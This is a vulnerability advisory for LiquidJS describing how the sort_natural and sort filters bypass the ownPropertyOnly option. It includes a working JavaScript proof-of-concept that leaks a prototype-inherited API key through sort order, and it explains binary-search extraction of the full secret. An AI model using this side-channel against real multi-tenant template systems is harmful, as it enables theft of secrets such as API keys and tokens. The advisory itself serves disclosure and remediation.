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5.3

LiquidJS: Sensitive Data Leaked via Template Sorting

GHSA-rv5g-f82m-qrvv CVE-2026-39412
Summary

LiquidJS templates can leak sensitive data, such as API keys, if the `ownPropertyOnly` security option is used. This happens when sorting data in a multi-tenant template system. To fix, update to the latest version of LiquidJS or replace `sort_natural` with a secure alternative.

What to do
  • Update liquidjs to version 10.25.4.
  • Update GitHub Actions liquidjs to version 10.25.4.
Affected software
VendorProductAffected versionsFix available
liquidjs <= 10.25.3 10.25.4
GitHub Actions liquidjs <= 10.25.3 10.25.4
Original title
LiquidJS: ownPropertyOnly bypass via sort_natural filter — prototype property information disclosure through sorting side-channel
Original description
### Summary

The `sort_natural` filter bypasses the `ownPropertyOnly` security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on `ownPropertyOnly: true` as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens.

### Details

In `src/filters/array.ts`, the `sort_natural` function (lines 40-48) accesses object properties using direct bracket notation (`lhs[propertyString]`), which traverses the JavaScript prototype chain:

```typescript
export function sort_natural<T> (this: FilterImpl, input: T[], property?: string) {
const propertyString = stringify(property)
const compare = property === undefined
? caseInsensitiveCompare
: (lhs: T, rhs: T) => caseInsensitiveCompare(lhs[propertyString], rhs[propertyString])
const array = toArray(input)
this.context.memoryLimit.use(array.length)
return [...array].sort(compare)
}
```

In contrast, the correct approach used elsewhere in the codebase goes through `readJSProperty` in `src/context/context.ts`, which checks `hasOwnProperty` when `ownPropertyOnly` is enabled:

```typescript
export function readJSProperty (obj: Scope, key: PropertyKey, ownPropertyOnly: boolean) {
if (ownPropertyOnly && !hasOwnProperty.call(obj, key) && !(obj instanceof Drop)) return undefined
return obj[key]
}
```

The `sort_natural` filter bypasses this check entirely. The `sort` filter (lines 26-38 in the same file) has the same issue.

### PoC

```javascript
const { Liquid } = require('liquidjs');

async function main() {
const engine = new Liquid({ ownPropertyOnly: true });

// Object with prototype-inherited secret
function UserModel() {}
UserModel.prototype.apiKey = 'sk-1234-secret-token';

const target = new UserModel();
target.name = 'target';

const probe_a = { name: 'probe_a', apiKey: 'aaa' };
const probe_z = { name: 'probe_z', apiKey: 'zzz' };

// Direct access: correctly blocked by ownPropertyOnly
const r1 = await engine.parseAndRender('{{ users[0].apiKey }}', { users: [target] });
console.log('Direct access:', JSON.stringify(r1)); // "" (blocked)

// map filter: correctly blocked
const r2 = await engine.parseAndRender('{{ users | map: "apiKey" }}', { users: [target] });
console.log('Map filter:', JSON.stringify(r2)); // "" (blocked)

// sort_natural: BYPASSES ownPropertyOnly
const r3 = await engine.parseAndRender(
'{% assign sorted = users | sort_natural: "apiKey" %}{% for u in sorted %}{{ u.name }},{% endfor %}',
{ users: [probe_z, target, probe_a] }
);
console.log('sort_natural order:', r3);
// Output: "probe_a,target,probe_z,"
// If apiKey were blocked: original order "probe_z,target,probe_a,"
// Actual: sorted by apiKey value (aaa < sk-1234-secret-token < zzz)
}

main();
```

**Result:**
```
Direct access: ""
Map filter: ""
sort_natural order: probe_a,target,probe_z,
```

The sorted order reveals that the target's prototype `apiKey` falls between "aaa" and "zzz". By using more precise probe values, the full secret can be extracted character-by-character through binary search.

### Impact

Information disclosure vulnerability. Any application using LiquidJS with `ownPropertyOnly: true` (the default since v10.x) where untrusted users can write templates is affected. Attackers can extract prototype-inherited secrets (API keys, tokens, passwords) from context objects via the `sort_natural` or `sort` filters, bypassing the security control that is supposed to prevent prototype property access.
ghsa CVSS3.1 5.3
Vulnerability type
CWE-200 Information Exposure
Published: 8 Apr 2026 · Updated: 10 Apr 2026 · First seen: 8 Apr 2026